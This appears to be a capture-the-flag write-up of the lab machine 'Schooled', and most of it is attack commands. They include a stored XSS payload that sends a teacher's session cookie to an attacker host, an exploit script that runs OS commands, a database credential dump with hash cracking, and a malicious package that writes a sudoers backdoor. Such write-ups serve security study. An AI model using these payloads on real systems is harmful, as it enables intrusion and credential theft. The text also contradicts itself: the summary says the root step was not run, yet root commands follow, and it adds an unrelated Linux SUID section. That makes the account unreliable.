Schooled
Summary
My found a hidden Moodle 3.9 virtual host on the Apache server through HTTP Host-header fuzzing, then registered a student account using the platform's open self-enrolment feature. A stored XSS vulnerability (CVE-2020-25627) in the unsanitized MoodleNet profile field was used to steal an authenticated teacher session cookie when the teacher auto-reviewed my profile. With teacher access, a second Moodle flaw (CVE-2020-14321) was chained: the course-enrolment API accepted a tampered role parameter, granting my a site-wide Manager role.
That role was used to install a malicious PHP block plugin that executed OS commands as the FreeBSD web service account. The Moodle configuration file exposed database credentials in plaintext; querying the database yielded the Moodle admin's bcrypt password hash, which was cracked offline. The same password was reused verbatim by FreeBSD OS account 'jamie', granting an SSH shell and the user flag.
A dangerous unrestricted sudo rule for the FreeBSD package manager (pkg install *) was identified as the intended root escalation path but was not executed before the engagement window closed.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p 22,80,33060 $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.schooled.htb' -fs <default_size>echo "$TARGET schooled.htb moodle.schooled.htb" | sudo tee -a /etc/hostscurl -s http://moodle.schooled.htb/moodle/lib/upgrade.txt | head -10Exact commands 3
curl -s http://moodle.schooled.htb/moodle/login/signup.phpcurl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/login/signup.php' -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME%40student.schooled.htb&firstname=Att&lastname=Acker&sesskey=<sesskey>"curl -s -c cookies.txt -b cookies.txt 'http://moodle.schooled.htb/moodle/enrol/index.php?id=5'FixRestrict Moodle self-registration to approved users onlyMedium
Exact commands 3
python3 -m http.server 8000curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/user/editadvanced.php' --data-urlencode 'moodlenetprofile=<script>document.location="http://$ATTACKER_IP:8000/?"+document.cookie</script>' -d 'sesskey=<sesskey>'# Watch the HTTP server output for: GET /?MoodleSession=<TEACHER_TOKEN> - copy this valueFixPatch CVE-2020-25627 — sanitize the MoodleNet profile field to eliminate stored XSSHigh
Exact commands 2
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'id'python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'uname -a; id; hostname'FixPatch CVE-2020-14321 — prevent teachers from escalating their own Moodle roleCritical
Exact commands 3
python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'cat /usr/local/www/apache24/data/moodle/config.php'python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c "/usr/local/bin/mysql -umoodle -p$PASSWORD3 moodle -N -e \"SELECT username,password FROM mdl_user WHERE username='admin';\""echo '$2y$10$<HASH_STRING>' > admin.hash && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hashFixEnforce unique passwords for every account; never share credentials between the application and the OSHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no jamie@$TARGET 'id; cat ~/user.txt'FixDisable SSH password authentication and require public-key loginMedium
Exact commands 7
ssh jamie@$TARGET 'sudo -l && cat /etc/pkg/FreeBSD.conf'mkdir -p /tmp/evil-pkg && echo '#!/bin/sh
echo "jamie ALL=(ALL) NOPASSWD: ALL" >> /usr/local/etc/sudoers' > /tmp/evil-pkg/post_install.sh && chmod +x /tmp/evil-pkg/post_install.shfpm -n evil -v 1.0 -s dir -t freebsd --after-install /tmp/evil-pkg/post_install.sh /tmp/dummy=/tmp/dummypkg repo . && python3 -m http.server 8080ssh jamie@$TARGET "echo '$ATTACKER_IP devops.htb' | sudo tee -a /etc/hosts"ssh jamie@$TARGET 'sudo pkg update -f && sudo pkg install -y evil'ssh jamie@$TARGET 'sudo /bin/csh'FixRemove the unrestricted sudo pkg install rule and lock down the package repository configurationCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) |
| 33060/tcp | mysqlx MySQL X protocol listener |